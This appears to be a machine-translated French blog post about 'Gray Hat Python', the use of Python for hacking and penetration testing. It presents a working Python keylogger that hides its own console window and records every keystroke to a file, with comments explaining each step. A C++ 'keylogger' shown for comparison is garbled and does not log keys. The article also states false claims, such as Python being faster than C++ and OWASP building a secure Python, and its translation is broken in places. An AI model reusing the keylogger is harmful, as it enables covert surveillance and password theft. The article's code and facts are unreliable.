Gray Hat Python - Donc, il y a deux ans, je faisais mes recherches sur les langages de programmation, j'ai commencé à lire sur C, C ++, Assembly, Python et Ruby. Je voulais devenir un expert en cybersécurité. J'ai donc commencé à apprendre autant que possible. J'ai commencé avec C, C ++ et C # comme bases, et après avoir appris et compilé de nombreux programmes et virus, j'ai finalement commencé à apprendre Kali Linux. Pour ceux qui ne savent pas ce qu'est Kali Linux, c'est un système d'exploitation pour les tests de pénétration. Donc, je continuais mes études et ce que j'ai vu, c'est que la plupart des programmes, virus et chevaux de Troie ont été compilés en Python, et leur base est Ruby.

Donc, j'ai arrêté mes études pour le moment et j'ai commencé à apprendre le Python ou pour être précis Gray Hat Python et tadaa… C'était extrêmement facile par rapport au C, C # ou à tout autre langage que j'ai appris. J'ai finalement appris pourquoi Python était le langage le plus utilisé et comment il est devenu célèbre.
Donc, aujourd'hui, je discuterais de la façon dont Python s'est transformé en Gray Hat Python et pourquoi il est si largement utilisé, que même Google et YouTube l'utilisent dans leur base de données pour fournir des résultats de recherche aussi précis que possible.

Au départ, Python est un langage de programmation de haut niveau, ce qui signifie que ses syntaxes sont extrêmement faciles à lire, même pour les débutants. Si vous êtes nouveau dans la programmation, ce serait le langage avec lequel je vous suggère de commencer. Laisse moi te donner un exemple:

Voici à quoi cela ressemble en C: -

#include

int main()
(
printf("Hello world\n");
return 0;
)

Voici à quoi cela ressemble en Java: -

class HelloWorld
(
public static void main (String args())
(
System.out.println ("Hello World");
)
)


Et voici à quoi cela ressemble en Python (v2.7)

print "Hello World"

Facile? Oui, ça l'est. Ainsi, Python était non seulement facile à écrire et à comprendre, mais également très compact. Donc, vous vous demandez peut-être comment cela a conduit à Grey Hat Python?

Cours recommandés

  • Formation sur le routage IP
  • Cours de formation au piratage
  • Formation RMAN complète
  • Formation à la programmation Python

Python vs Grey Hat Python

Alors, quel est exactement Gray Hat Python? Pourquoi est-il si différent de notre Python normal? Le truc, c'est que Gray Hat Python n'est rien d'autre que des programmes écrits en Python par des pirates, des testeurs de stress réseau et des ingénieurs inversés pour créer ou casser un programme. Mais le terme Grey Hat est utilisé car il ne s'agit pas exactement d'un logiciel utile ou utilisateur. Il est utilisé pour sécuriser ou créer un logiciel de sécurité.

Il peut facilement être utilisé pour tester les limites d'un environnement sécurisé ou pour pénétrer dans un environnement sécurisé. C'est ce que signifie Grey Hat. Et il est beaucoup plus facile de le faire en Python que de le faire en C, C ++ ou java. D'où le nom de Grey Hat Python. Quelques exemples auxquels je peux penser sont:

• Écriture des enregistreurs de frappe (pour les pirates et les pentesters)
• Écriture de scripts Shell de sécurité (pour les administrateurs réseau)
• Rédaction d'un IDS automatisé (système de détection d'intrusion pour les ingénieurs de sécurité)

Donc, maintenant vous savez pourquoi et comment Gray Hat Python est utile. Pour élaborer cela, permettez-moi de vous donner quelques exemples détaillés.
Vous avez peut-être entendu parler de Google App Engine. Google App Engine a été initialement conçu en Python avant d'être porté. Google App est un bon exemple de programme écrit en Python, car il permet de créer des applications Web à l'aide de sa riche collection de bibliothèques, d'outils et de frameworks haut de gamme.

Vous êtes-vous déjà demandé pourquoi il est si facile de rechercher quelque chose dans Google? La plupart du temps, vous obtenez des résultats de recherche précis à 80%. En effet, Python est extrêmement flexible, fonctionne à grande vitesse et les bases de données sont beaucoup plus compactes même si elles stockent un nombre n d'informations. Python est si extensible que même YouTube l'utilise à des fins telles que la visualisation de vidéos, le contrôle de modèles, l'administration de vidéos, l'accès à des données canoniques et bien d'autres.

Google a ses robots d'exploration et ses araignées qui collectent des données dès qu'elles sont téléchargées sur le Web, peu importe où et comment elles sont sécurisées. Il suffit d'avoir une inspiration, du temps et des connaissances appropriés pour recueillir ces informations.

Les recherches Google étaient auparavant basées sur Python, qu'il a ensuite changé en C ++ pour une optimisation de la vitesse, car les robots d'exploration Google explorent plusieurs pages par seconde et chacune d'entre elles prend quelques minutes pour réussir à explorer. Python, actuellement, est beaucoup plus rapide que C ++, mais ce n'était pas le cas il y a quelques décennies.

Il y avait une célèbre citation citée par Google: -
"Python où nous pouvons, C ++ où nous devons."

Donc, vous vous demandez peut-être comment cela peut être utilisé pour le piratage, le pentesting et la sécurité réseau. Je ne suis pas d'accord. Si vous pouviez créer un programme qui est précis à 70% -80% en donnant des résultats de recherche efficaces, alors vous pouvez probablement créer une application qui peut connecter des sites Web, rechercher intelligemment et créer un profil d'une personne qui peut plutôt être utilisé par des chapeaux noirs individuels à des fins malveillantes. Laisser de côté les individus, même s'ils sont assez intelligents, peuvent facilement créer une application pour créer le profil d'une entreprise, tout son arbre depuis sa racine jusqu'à ce que vous pouvez penser…

Collecte d'informations via Maltego

Vous pensez peut-être que j'exagère un peu. Non, je ne le suis PAS!

Pensez à des exemples comme Maltego. Maltego est un logiciel ou je peux mieux le reformuler en tant qu'application légale open source, conçue dans le but de recueillir des informations et de créer un profil de personnes, d'entreprises et d'autres agences d'entreprise.

Il suffit de saisir les données appropriées dans l'application, et le reste de choses comme la liaison des e-mails, des personnes, des groupes de personnes, même la détermination d'infrastructures Internet telles que les domaines, les noms DNS, les netblocks et les adresses IP peuvent être liées et interconnectées à l'aide de cette intelligence open source .

Pour plus d'informations, visitez le site Qu'est-ce que Maltego?

Donc, si l'accès aux «informations secrètes» détermine votre succès, Maltego peut vous aider à le découvrir. Maltego est partiellement écrit en Python et utilise également Java qui est encore une fois un excellent langage.

Voilà pour citer la sécurité de Google. Pour être plus précis, Google est le moins de moyen de rester anonyme sur le Web, peu importe si vous utilisez incognito ou www.duckduckgo.com de Chrome. Parce que, finalement, tout est mis à jour sur le Web. Le fait d'être ici est, il ne s'agit pas d'invulnérabilité, c'est d'être absolument vulnérable. On ne peut pas complètement s'essuyer complètement sur Internet. Mais on peut sûrement essayer de garder le moins d'informations possible sur le Web.

Python n'est pas seulement un langage, c'est un langage de script. Les langages de script vous permettent d'écrire, de modifier vos propres outils, lorsque vous avez besoin de quelque chose de plus personnalisé. Ces outils de sécurité réseau dépendent fortement du langage de script pour l'extensibilité. Par exemple, prenons Scapy.

Scapy est purement écrit en Python. Il s'agit d'un puissant outil interactif de manipulation de paquets. Il peut générer lui-même de faux paquets, analyser des réseaux et même renifler des paquets sur le réseau.

Trouvez des informations détaillées sur Qu'est-ce que la thérapie?

Maintenant, ce sont des programmes complexes écrits par des programmeurs avancés. Voyons à quel point il est simple d'écrire un programme en Python qui peut être facilement compris par des gens qui ont de bonnes bases en programmation.

Ceci est un enregistreur de frappe écrit en Python: -

#!/usr/bin/Python
import pyHook
import Pythoncom
import win32gui
import win32console
log_file = "log_file.txt" #name of log file
window = win32console. GetConsoleWindow() #go to script window
win32gui.ShowWindow (window, 0) #hide window
def pressed_chars(event): #on key pressed function
if event.Ascii:
f = open(log_file, "a") # (open log_file in append mode)
char = chr (event.Ascii) # (insert real char in variable)
if char == "q": # (if char is q)
f.close() # (close and save log file)
exit() # (exit program)
if event.Ascii == 13: # (if char is "return")
f.write("\n") # (new line)
f.write(char) # (write char)

proc = pyHook.HookManager() #open pyHook
proc.KeyDown = pressed_chars #set pressed_chars function on KeyDown event
proc.HookKeyboard() #start the function
Pythoncom.PumpMessages() #get input

Donc, c'est beaucoup plus facile si vous me demandez. Je viens d'ajouter simplement les modules pyhook, Pythoncom, win32gui et win32console que vous pouvez facilement télécharger depuis le site Web de sourceforge et j'ai mentionné les commentaires en utilisant la balise de hachage. Mais si je dois écrire le même programme en C ++, voyons à quel point cela peut être difficile.

Il s'agit d'un programme écrit en C ++: -

 #include #include #include #include int main(int argc, char ** agrv)( using namepace std; /*Easier*/ char std::vector input_STRUCT = ("S", "T", "O"); char std::vector input_STRUCT_1 = ("P", ""); char std::vector input_STRUCT_2 = ("L", "O", "O", "K", "I", "N", "G"); char std::vector input_STRUCT_3 = ("", "F", "O", "R"); char std::vector input_STRUCT_4 = ("M", "A", "L", "W"); char std::vector input_STRUCT_5 = ("A", "R", "E"); ostream os("C:\users\keylogger.txt"); int i; for( i = 0; i <=2; i++)( os << input_STRUCT(i); for(;i <= 1000000 ;i++)( ) ) for( i=0; i<=1;i++)( os << input_STRING_1(i); for(;i <= 1000000 ;i++)( ) ) for(i=0; i<=6; i++) ( os << input_STRING_2 (i); for(; i <= 1000000 ; i++)( ) for(i=0; i<=3;i++)( os << input_STRING_3(i); for(; i <= 1000000 ;i++)( ) ) for(i=0; i<=3; i++)( os << input_STRING_4(i); for(;i <= 1000000 ; i++)( ) ) for(i=0; i<=2; i++)( os << input_STRING_5(i); for(;i <= 1000000 ; i++)( ) ) os.close(); istream is (" C:\users\keylogger.txt "); cout << is; return 0; ) 

Donc, c'est assez grand par rapport à Python. Et si nous parlons d'efficacité, alors Python peut être facilement compilé en un exécutable sans aucun effort en utilisant le logiciel py2exe. Alors que si je parle de C ++, alors franchement, ce code est une blague. Pour écrire un enregistreur de frappe approprié, il faut écrire une DLL qui implémente le hook WH_KEYBOARD. De plus, ce code est loin d'être facile à comprendre pour un débutant.

Piratage Open Source

Maintenant, cela prend en charge les pirates de Black Hat, qui sont plus précisément les personnes qui ont l'intention de détruire, de manipuler les données pour leurs propres besoins. Du point de vue des problèmes de sécurité, Python est également utile pour les pirates de White Hat qui ont l'intention de sauver la société de l'attaque de pirates malveillants. Si vous souhaitez développer une carrière ou au moins apprendre Python pour la recherche en sécurité, vous pouvez sûrement vous familiariser avec OWASP, BRO ou Quick NIX Secure Script.

OWASP est Open Web Application Security Project. OWASP vise à créer une version plus sécurisée de Python qui permet aux professionnels de la sécurité et aux développeurs d'écrire plus facilement des logiciels moins sujets aux attaques des pirates. Il est lié à l'analyse Black-Box, identifiant et résolvant les problèmes liés à la sécurité qui peuvent affecter l'interpréteur interactif de Python.

BRO est un programme de surveillance de la sécurité et du trafic réseau, tandis que Quick NIX est utilisé pour renforcer et sécuriser les propriétaires de fichiers à la volée.

Puisque nous parlons de sécurité, parlons d'un système d'exploitation partiellement basé sur Python. Python fonctionne très bien avec UNIX, LINUX et Debian. L'un des systèmes d'exploitation les plus connus était Backtrack 5. Il existe différentes versions. Il a été spécialement conçu pour PenTesting. Plus tard, les gens d'Offensive Security ont pensé que Backtrack avait besoin d'un redémarrage car la plupart des outils ne fonctionnaient pas correctement ou n'étaient pas pris en charge.

Plus tard, ils ont sorti Kali Linux qui était totalement basé sur Debian. Et la plupart de son framework est en Ruby ou en Python. Ruby est également un langage de script génial. Mais je préférerais à tout moment Python à cela, la raison étant que Python a une communauté plus diversifiée avec Linux et son plus direct et plus facile à déboguer. Alors que Ruby a des tonnes de fonctionnalités et s'adapte rapidement à son environnement, il peut être difficile à déboguer, difficile à lire et plus sophistiqué que Python.

Le meilleur exemple serait comme comparer Apple vs Linux ou comparer iphone vs Android. Apple est riche en ressources et est extrêmement fluide, et est plus orienté vers les débutants. Alors que Linux / Android est plus convivial, un peu lent et peut parfois être un casse-tête si vous ne savez pas comment le configurer ou le maintenir.

Il y a même un livre basé sur Python Grey Hat Hacking de Justin Seitz. Il traite spécifiquement de l'automatisation des tâches fastidieuses de rétro-ingénierie et de sécurité, de la conception de votre propre débogueur, de la bibliothèque et de l'injection de DLL, du reniflage du trafic sécurisé sur une session cryptée et de l'utilisation du débogueur d'immunité, de Sulley et bien d'autres. C'est un livre génial, peu importe que vous soyez débutant ou expert, vous apprendrez toujours quelque chose ou l'autre chaque fois que vous le lirez.

Conclusion

Donc, si vous êtes un débutant, Python serait le bon choix pour commencer comme premier langage de test de sécurité de programmation.

Rappelez-vous juste une chose à la fin Gray Hat Python n'est pas seulement un langage, c'est une façon de faire les choses de manière appropriée et rapide.

Première source d'image: pixabay.com

Articles Liés:-

Voici quelques articles qui vous aideront à obtenir plus de détails sur le Gray Hat Python, alors suivez simplement le lien.

  1. Avantages des outils de cybersécurité dont vous devez être conscient
  2. Carrières en Python
  3. Top 25 des questions et réponses incroyables sur Python
  4. Quels sont les avantages et les limites de l'utilisation de Python?
  5. Python vs Node.js
  6. Guide des questions d'entrevue sur la cybersécurité
  7. Différents types d'outils pour les tests de sécurité